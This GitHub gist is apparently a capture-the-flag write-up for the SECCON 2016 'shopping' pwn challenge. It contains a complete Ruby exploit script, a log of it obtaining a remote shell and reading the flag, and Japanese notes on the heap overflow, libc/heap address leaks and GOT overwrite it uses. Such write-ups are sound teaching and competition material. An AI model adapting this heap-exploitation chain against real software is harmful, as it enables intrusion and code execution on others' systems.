-
-
Save Charo-IT/ba8f2ca8c8bbef081aa6c3bbfcddef50 to your computer and use it in GitHub Desktop.
SECCON 2016 Quals - shopping
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ruby shopping.rb r | |
[*] connected | |
[*] make plenty of money | |
0x0011344b | |
0x001a9fa4 | |
0x00259b17 | |
0x003a31eb | |
0x0051c393 | |
0x006ae808 | |
0x007956b7 | |
0x0089b82e | |
0x00b6224c | |
0x00fd2a8d | |
0x01418566 | |
0x017dce6a | |
0x022c7b93 | |
0x024ddf27 | |
0x02bc78fe | |
0x03d2e918 | |
0x044fb8b6 | |
0x0457ffda | |
0x04ab663f | |
0x051ff36c | |
0x060c1a1b | |
0x087378ef | |
0x0a7ab4ac | |
0x104b9b7b | |
0x1379121f | |
0x16fa6228 | |
0x1fc4652a | |
0x2cdf020b | |
0x329799c3 | |
0x39cd3431 | |
0x4e9c328d | |
0x6e727f24 | |
0x80abca49 | |
[*] send bug report | |
[*] leak libc base | |
libc base = 0x7f0986771000 | |
[*] leak heap base | |
heap base = 0x1c78000 | |
[*] overwrite product | |
[*] overwrite chunks | |
[*] overwrite report | |
[*] overwrite got | |
[*] launch shell | |
[*] interactive mode | |
id | |
uid=10997 gid=1001(shopping) groups=1001(shopping) | |
ls -la | |
total 44 | |
drwxr-xr-x 2 root shopping 4096 Dec 5 15:22 . | |
drwxr-xr-x 4 root root 4096 Dec 5 15:19 .. | |
-rw-r--r-- 1 root shopping 220 Dec 5 15:19 .bash_logout | |
-rw-r--r-- 1 root shopping 3637 Dec 5 15:19 .bashrc | |
-rw-r--r-- 1 root shopping 675 Dec 5 15:19 .profile | |
-rw-r--r-- 1 root shopping 27 Dec 5 00:01 flag.txt | |
-rwxr-xr-x 1 root shopping 33 Dec 4 23:26 run.sh | |
-rwxr-xr-x 1 root shopping 14600 Nov 30 04:31 shopping | |
cat flag.txt | |
SECCON{pl3453_buy_4_l07!!} | |
exit | |
[*] end interactive mode | |
[*] connection closed |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding:ascii-8bit | |
require "pwnlib" # https://github.com/Charo-IT/pwnlib | |
remote = ARGV[0] == "r" | |
if remote | |
host = "shopping.pwn.seccon.jp" | |
port = 16294 | |
libc_offset = { | |
"__libc_start_main" => 0x21e50, | |
"system" => 0x46590 | |
} | |
else | |
host = "localhost" | |
port = 54321 | |
libc_offset = { | |
"__libc_start_main" => 0x21e50, | |
"system" => 0x46590 | |
} | |
end | |
offset = { | |
"report" => 0x603118, | |
"money" => 0x603108 | |
} | |
got = { | |
"__libc_start_main" => 0x603060, | |
"atoi" => 0x6030a8 | |
} | |
class PwnTube | |
def recv_until_prompt | |
recv_until("\n: ") | |
end | |
end | |
def tube | |
@tube | |
end | |
def set_mode(mode) | |
raise unless [:shop, :customer].include?(mode) | |
tube.recv_until_prompt | |
tube.sendline(mode == :shop ? "1" : "2") | |
end | |
def current_money | |
money = tube.recv_capture(/#### SHOP MODE \(\$(-?\d+)\) ####/)[0].to_i | |
tube.recv_until_prompt | |
tube.sendline("9") | |
money | |
end | |
def add_product(name, stock, price = nil) | |
tube.recv_until_prompt | |
tube.sendline("1") | |
tube.recv_until("Name >> ") | |
tube.sendline(name) | |
if !price.nil? | |
tube.recv_until("Price >> ") | |
tube.sendline("#{price}") | |
end | |
tube.recv_until("Stock >> ") | |
tube.sendline("#{stock}") | |
end | |
def list_product | |
tube.recv_until_prompt | |
tube.sendline("2") | |
end | |
def reset_product_list | |
tube.recv_until_prompt | |
tube.sendline("3") | |
end | |
def back_to_main_menu | |
tube.recv_until_prompt | |
tube.sendline("0") | |
end | |
def add_to_cart(name, amount) | |
tube.recv_until_prompt | |
tube.sendline("1") | |
tube.recv_until("Product name >> ") | |
tube.sendline(name) | |
tube.recv_until("Amount >> ") | |
tube.sendline("#{amount}") | |
end | |
def list_cart | |
tube.recv_until_prompt | |
tube.sendline("2") | |
end | |
def buy | |
tube.recv_until_prompt | |
tube.sendline("3") | |
end | |
def reset_cart | |
tube.recv_until_prompt | |
tube.sendline("4") | |
end | |
def send_bugreport(name, reason) | |
tube.recv_until("(y/N) >> ") | |
tube.sendline("y") | |
tube.recv_until("your name : ") | |
tube.sendline(name) | |
tube.recv_until("when crash : ") | |
tube.sendline(reason) | |
end | |
def edit_bugreport(name, reason = nil) | |
tube.recv_until_prompt | |
tube.sendline("-1") | |
tube.recv_until("Change name? (y/N) >> ") | |
if name.nil? | |
tube.sendline("n") | |
else | |
tube.sendline("y") | |
tube.recv_until("your name : ") | |
tube.sendline(name) | |
end | |
tube.recv_until("Change reason? (y/N) >> ") | |
if reason.nil? | |
tube.sendline("n") | |
else | |
tube.sendline("y") | |
tube.recv_until("when crash : ") | |
tube.sendline(reason) | |
end | |
end | |
PwnTube.open(host, port) do |t| | |
@tube = t | |
puts "[*] make plenty of money" | |
money = 1000000 | |
while money <= 0x7fffffff | |
set_mode(:shop) | |
money = current_money | |
reset_product_list | |
add_product("A", 0, money * 3 / 4) | |
list_product | |
rate = tube.recv_capture(/\(\$\d+ x ([0-9.]+)\)/)[0].gsub(".", "").to_i | |
if rate <= 100 | |
reset_product_list | |
back_to_main_menu | |
next | |
end | |
add_product("A", 1) | |
money = current_money | |
back_to_main_menu | |
set_mode(:customer) | |
add_to_cart("A", 1) | |
buy | |
money += tube.recv_capture(/\$(\d+)\n/)[0].to_i | |
back_to_main_menu | |
puts "0x%08x" % money | |
end | |
puts "[*] send bug report" | |
set_mode(:shop) | |
send_bugreport("A" * 62, "A" * 0x2a + [0x371].pack("Q")) | |
puts "[*] leak libc base" | |
add_product("A", 1, 999967) | |
add_product("B", 0, 0) | |
back_to_main_menu | |
payload = "" | |
payload << "\0" * 0xc8 | |
payload << [0x31].pack("Q") # size | |
payload << [got["__libc_start_main"]].pack("Q") | |
edit_bugreport(payload) | |
set_mode(:shop) | |
list_product | |
libc_base = tube.recv_capture(/001 : (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"] | |
puts "libc base = 0x%x" % libc_base | |
puts "[*] leak heap base" | |
back_to_main_menu | |
payload = "" | |
payload << "\0" * 0xc8 | |
payload << [0x31].pack("Q") # size | |
payload << [offset["report"]].pack("Q") | |
edit_bugreport(payload) | |
set_mode(:shop) | |
list_product | |
heap_base = tube.recv_capture(/001 : (.+)\(\$/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x80 | |
puts "heap base = 0x%x" % heap_base | |
puts "[*] overwrite product" | |
back_to_main_menu | |
payload = "" | |
payload << "\0" * 0xc8 | |
payload << [0x31].pack("Q") | |
payload << [heap_base + 0x1d0].pack("Q") | |
payload << "\0" * 0x18 | |
edit_bugreport(payload) | |
puts "[*] overwrite chunks" | |
set_mode(:shop) | |
reset_product_list | |
back_to_main_menu | |
payload = "" | |
payload << "\0" * 0xc8 | |
payload << [0x31].pack("Q") | |
payload << [0].pack("Q") * 5 | |
payload << [0x21].pack("Q") | |
payload << [offset["money"] -8].pack("Q") | |
edit_bugreport(payload) | |
puts "[*] overwrite report" | |
set_mode(:shop) | |
add_product("sh", 0, 0) | |
add_product("A" * 8 + [got["atoi"] - 8].pack("Q"), 0, 0) | |
puts "[*] overwrite got" | |
back_to_main_menu | |
edit_bugreport(nil, [libc_base + libc_offset["system"]].pack("Q")) | |
puts "[*] launch shell" | |
tube.recv_until_prompt | |
tube.sendline("sh") | |
tube.interactive | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
SEND BUG REPORTの
strncat
にheap bofがあるので、まずがんばってそこまでたどり着くSEND BUG REPORT時に
Report
構造体用の領域とReport->name
用の領域が確保されるが、よほどヒープを散らかしていなければ
Report
構造体の後ろにReport->name
が来るので、heap bofで
Report->name
のチャンクサイズを水増ししておくそうすると、SHOW BUG REPORTの
Report
編集処理の以下の部分でさらにheap bofができるようになるこの後、
Report->name
のheap bofでProduct
のポインタを書き換えることで、アドレスをリークしたり、任意アドレスのfreeができるようになる今回はbssに店の資金用の変数があるので、
malloc
がその周辺のアドレスを返すようにし、Report
へのポインタをgotに向けてgot overwriteした